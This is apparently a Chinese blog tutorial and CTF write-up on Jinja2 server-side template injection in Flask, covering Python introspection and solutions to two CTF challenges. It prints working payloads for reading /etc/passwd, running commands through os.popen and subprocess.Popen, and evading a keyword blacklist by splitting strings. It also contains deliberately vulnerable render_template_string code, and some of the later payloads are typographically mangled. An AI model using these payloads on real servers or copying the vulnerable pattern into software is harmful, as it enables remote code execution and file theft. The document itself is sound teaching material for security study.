文章目录
1.概念
1.1 什么是Flask
Flask是使用python编写的一个轻量级的web应用框架,模板引擎使用的是jinja2,遵循MVC模型。其特点是简洁和易于扩展。多用于中小型网站的搭建,可以快速的搭建起来一个网站。并且网站的功能是我们可以控制的
所谓的MVC模型就是将一个软件系统分为了三个组成部M(model)模型,V(view)视图,C(controler)控制器。
视图是一些静态的代码如HTML用于和用户进行信息交互的,如向用户进行信息的展示等
模型进行数据库的一些定义以及数据的管理通过视图向用户展现数据的内容通过控制器控制查询的操作
控制器用户控制的在接收到视图传过来的请求之后向模型发送指令。
如下图所示是一个MVC的运行原理图通过视图从用户处获取请求将请求提交给控制器然后由控制器在模型当中去查找的相应的数据之后再返回给视图向用户进行展示
MVC模型运行机制
1.2 SSTI注入的原理
在jinja2模板引擎当中存在下面几个模板,而在这些模板当中可以输入值以及一些控制语句,在jinja2引擎中有两个模板渲染函数,而SSTI注入的原因是由于render_template_string
的不正确的使用以及没有对用户输入的数据进行有效的过滤导致的
render_template
#该函数指定一个模板文件进行渲染在模板文件可以使用相应的模板格式的语法如{{}}
#进行变量的引用,这个时候的语法是写入到一个静态文件当中的已经固定了我们无法进行SSTI注入
render_template_string
#该函数是对一个字符串进行渲染同样在遇到有符合模板语法的内容时会进行解析
#如render_template_string("<h1>my name is {}".format(request.args.get('name')))
#此时的name是我们从url中获取的GET参数是用户可控的当name是一个符合模板语法格式的字符串时会
#会被进行解析执行如输入{{ 4*5 }}会进行运算输出20
#www.baidu.com/?name={{ 4*5 }}
name={{ [].__bases__ }}
2.使用
2.1 Flask框架的使用
初始化一个Flask类,类名为app,在初始化的时候可以指定静态文件的位置文件的名称等等
app=Flask(
__name__,
template_folder='xxx',#指定存放模板的文件夹的名称(默认为templates)
static_folder='xxx',#指定存放静态文件资源的文件夹的名称(默认为static)
static_url_path='/xxx'#静态文件的路径
)
设置端口IP进行监听调试,根据路由进行处理
app.run(debug=True,port=端口号,host='IP地址')
设置路由为根路径,当访问根路径的时候运行test方法利用函数redirect进行重定向,到指定的网站或者是目录,利用render_tmplate指定返回的HTML模板文件
from flask import Flask,request,render_template,redirect
app=Flask(__name__)#没有传递路径则为默认路径模板为templates,静态的css、js为static
@app.route('/')
def test():
#return render_template('index.html',msg='登录错误')#返回一个html页面路径为指定的路径
#之后再html文件中写上{{msg}}就可以输出msg的内容
return redirect("http://www.baidu.com")#重定向到百度
if __name__ == '__main__':
app.run(debug=True,port=5000,host='127.0.0.1')
在模板文件当中可以使用上面的集中模板语法可以使用程序当中的变量等操作
<html>
<head>
<title>Flask模板学习</title>
</head>
<body>
<h1 style="text-align:center;">欢迎来到{{ name }}的Flask学习世界</h1>
<!--引用name值在程序中return render_template('index.html',name='聂江海')->
</body>
</html>
在网站页面当中输出
2.2 python内置方法介绍
_class_
功能
返回对象的类型
实例
输出a的类型为str
a='123'
print(a.__class__)
_bases_
功能
返回对应的类的基类也就是该类是继承哪些类的
实例
输出T1的父类TEST
class TEST:
__a='aaa'
class T1(TEST):
b="asd"
print(T1.__bases__)
<class '__main__.TEST'>
_mro_
功能
给出解析方法调用的顺序
实例
输出在解析方法的调用顺序是首先在自身类查看是否存在该方法→依次在继承的类中寻找→在所有类的积累object中寻找
class TEST:
__a='aaa'
class P:
__p='ccc'
class T1(TEST,P):
b="asd"
print(T1.__mro__)
(<class '__main__.T1'>, <class '__main__.TEST'>, <class '__main__.P'>, <class 'object'>)
_subclasses_()
功能
返回一个类的所有的子类
实例
输出该类的所有子类
class TEST:
__a='aaa'
class P:
__p='ccc'
class T1(TEST):
b="asd"
class T2(TEST):
ccc="12"
print(TEST.__subclasses__())
[<class '__main__.T1'>, <class '__main__.T2'>]
_globals_
功能
返回当前空间下能使用的模块、方法、变量
实例
如下返回在TEST类中的sss方法中可以使用的变量名以及、模块、方法有哪些
'''学生信息管理系统'''
name="聂江海"
class TEST:
__a='aaa'
def __init__(self):
__a="bbb"
def sss(self):
print('sss')
class P:
__p='ccc'
class T2(TEST):
ccc="12"
print(TEST.sss.__globals__)
{'__name__': '__main__',#模块名称
'__doc__': '学生信息管理系统',#当前文件的注释
'__package__': None,#导入py文件的路径
'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001F665C36D00>,
'__spec__': None,
'__annotations__': {},
'__builtins__': <module 'builtins' (built-in)>,
'__file__': 'C:\\Users\\海玉\\PycharmProjects\\pythonProject\\learn.py',#当前py文件的路径
'__cached__': None,
'name': '聂江海',#变量name
'TEST': <class '__main__.TEST'>,#类
'P': <class '__main__.P'>,#类
'T1': <class '__main__.T1'>,#类
'T2': <class '__main__.T2'>}#类
python3 中的利用
#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
2.3 SSTI漏洞利用
{{ []._class_ }} 为list
上面的是写入到一个静态的模板文件当中格式已经固定了当我们在输入符合模板格式语句的时候就是直接当中字符串进行输出了,而使用使用render_template_string
的时候如下,对接收的参数直接插入到字符串中然后对字符串进行模板渲染,而此时的字符串中如果出现符合模板语法的字符的时候同样会被进行解析执行的。如当我们传入name={{ 4*5 }}
的时候输出了20进行了运算
import flask
from flask import Flask,request,render_template,redirect
from jinja2 import Template
app=Flask(
__name__,
template_folder = "views"
)
@app.route('/')
def test():
name=request.args.get('name')
#return render_template('index.html',name=name)
return flask.render_template_string('<html><head><title>Flask模板学习</title></head><body><h1 style="text-align:center;">欢迎来到{}的Flask学习世界</h1><!-sdfjad--></body></html>'.format(name))
if __name__ == '__main__':
app.run(debug=True,port=8080,host='127.0.0.1')
在这里还可以利用上述所说的内置函数和变量来获取相应的信息,可以找到os模块利用os模块进行文件的读取操作、利用system函数进行命令的执行等等
在python的低版本中寻找os模块利用其中的system函数进行
3.题目实操
** [GYCTF2020]FlaskApp**
考点
SSTI注入、python内置方法变量、字符串拼接进行waf绕过
进入题目尝试
首先进入题目发现有一个base64加密和解密的小功能,尝试使用SSTI注入输入{{ 4*5 }}编码输出一串编码,将其base64编码之后进行解码是出现nonono
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OU6gsoe4-1641384087751)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/dd56b541-14d8-4e49-ada2-0f6b70758b40/Untitled.png)]
再次尝试将{{ -1|abs }}编码之后解码发现输出了1由此判断应该是过滤了符号"*",是存在SSTI注入的于是进行尝试使用python内置函数获取相关的信息
构造payload
构造payload读取源代码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
**payload解读**
[].__class__#返回的是[]的类型list为列表
list.__base__#返回list的一个父类为object是所有类的基类所有类都是继承自object
object.__subclasses__()#返回object的所有子类所有继承自object的类
#循环遍历这些类寻找catch_warnings这个类进入该类
c.__init__#表示c类中的init这个内置方法
__init__.__globals__['__builtins__']#返回init这个方法可以使用的类、方法、以及属性当中的__builtins__
__builtins__#表示内建方法因为这里所使用的open是一个内建方法利用open打开源码调用read读取
原文链接:https://blog.csdn.net/qq_45521281/article/details/106639111
得到源码
分析源代码
在获取源码之后进行源码分析,在解码的时候进行过滤不允许还有os以及flag的英文需要进行绕过
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'#可以利用进行session伪造但是此处没有用处
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField("提交")
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)
@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密"
,img = "flask.png")
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)#监听主机的所有ip的5000端口
在源码当中可以发现不能使用os、system、eval、import等进行命令执行,这里可以使用字符串的拼接进行绕过在python中+可以表示字符串的拼接,因此使用‘imp’+‘ort’、’o’+‘s’进行绕过
构造payload为:{% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings’ %}{{ c.init.globals[‘builtins’]‘imp’+'ort’.listdir(’/’)}}{% endif %}{% endfor %}
对根目录进行查询发现了根目录下面存在this_is_the_flag.txt,然后对其进行读取
利用payload:{% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings’ %}{{ c.init.globals[‘builtins’].open(‘this_is_the_fl’+‘ag.txt’,‘r’).read()}}{% endif %}{% endfor %}
读取flag文件
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')#os.environ设置系统环境变量
@app.route('/')
def index():
return open(__file__).read()#访问网站的时候将源码显示
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')#替换掉s当中的括号
blacklist = ['config', 'self']#设置黑名单
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
[CSCCTF 2019 Qual]FlaskLight
考点
STI注入,python内置变量,flask配置函数
首先进入页面在网站源码中发现了参数search,提示flask尝试SSTI输入{{ 4*5 }}
得到20发现存在SSTI注入,于是尝试去查看flask配置输入{{ config.items() }}
发现提示flag在此目录下
于是尝试去读取可以用的类输入[].__class__.__bases__[0].__subclasses__
输出了所有的子类,其中包括了warnings.catch_warnings
但是在输出该类的方法__init__
可用的函数变量对象的时候出错了转换思路使用subprocess.popen
,该类是在python2.4
之后推出的可以用来产生子进程并且可以在子进程当中执行命令等等
1.subprocess.Popen的构造函数
class subprocess.Popen(args, bufsize=-1, executable=None, stdin=None, stdout=None, stderr=None,
preexec_fn=None, close_fds=True, shell=False, cwd=None, env=None, universal_newlines=False,
startup_info=None, creationflags=0, restore_signals=True, start_new_session=False, pass_fds=())
参数说明:
- args: 要执行的shell命令,可以是字符串,也可以是命令各个参数组成的序列。当该参数的值是一个字符串时,该命令的解释过程是与平台相关的,因此通常建议将args参数作为一个序列传递。
- bufsize: 指定缓存策略,0表示不缓冲,1表示行缓冲,其他大于1的数字表示缓冲区大小,负数 表示使用系统默认缓冲策略。
- stdin, stdout, stderr: 分别表示程序标准输入、输出、错误句柄。
- preexec_fn: 用于指定一个将在子进程运行之前被调用的可执行对象,只在Unix平台下有效。
- close_fds: 如果该参数的值为True,则除了0,1和2之外的所有文件描述符都将会在子进程执行之前被关闭。
- shell: 该参数用于标识是否使用shell作为要执行的程序,如果shell值为True,则建议将args参数作为一个字符串传递而不要作为一个序列传递。
- cwd: 如果该参数值不是None,则该函数将会在执行这个子进程之前改变当前工作目录。
- env: 用于指定子进程的环境变量,如果env=None,那么子进程的环境变量将从父进程中继承。如果env!=None,它的值必须是一个映射对象。
- universal_newlines: 如果该参数值为True,则该文件对象的stdin,stdout和stderr将会作为文本流被打开,否则他们将会被作为二进制流被打开。
- startupinfo和creationflags: 这两个参数只在Windows下有效,它们将被传递给底层的
CreateProcess()
函数,用于设置子进程的一些属性,如主窗口的外观,进程优先级等。
于是调用该模块使用{{ [].__class__.__bases__[0].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
进行调用输出根目录的信息
使用{{ [].__class__.__bases__[0].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
输出对应的app.py和另外一个文件得到flag,{{ [].__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}